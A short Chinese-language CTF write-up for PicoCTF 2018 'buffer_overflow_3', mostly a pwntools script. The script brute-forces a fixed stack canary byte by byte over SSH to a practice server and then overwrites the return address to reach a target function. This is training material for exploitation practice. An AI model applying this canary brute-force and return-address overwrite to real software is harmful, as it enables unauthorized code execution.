PicoCTF_2018_buffer_overflow_3(本地固定canary的爆破)

PicoCTF_2018_buffer_overflow_3

用IDA分析一下程序，程序从一个固定文件里读取数据，作为canary的值。

由于文件内容不变，所以，我们可以直接爆破。

#coding:utf8
from pwn import *

shell = ssh(host='node3.buuoj.cn', user='CTFMan', port=27525, password='guest')

context.log_level = 'critical'
#爆破本地canary
canary = ''
for i in range(4):
   for c in range(0xFF):
      #sh = process('./PicoCTF_2018_buffer_overflow_3')
      sh = shell.process('./vuln')
      sh.sendlineafter('>','-1')
      payload = 'a'*0x20 + canary + p8(c)
      sh.sendafter('Input>',payload)
      sh.recv(1)
      ans = sh.recv()
      #print ans
      if 'Canary Value Corrupt!' not in ans:
         print 'success guess the index({}),value({})'.format(i,c)
         canary += p8(c)
         break
      else:
         print 'try to guess  the index({}) value'.format(i)
      sh.close()
print 'canary=',canary
payload = 'a'*0x20 + canary + p32(0)*4 + p32(0x080486EB)
#sh = process('./PicoCTF_2018_buffer_overflow_3')
sh = shell.process('./vuln')
sh.sendlineafter('>','-1')
sh.sendafter('Input>',payload)

sh.interactive()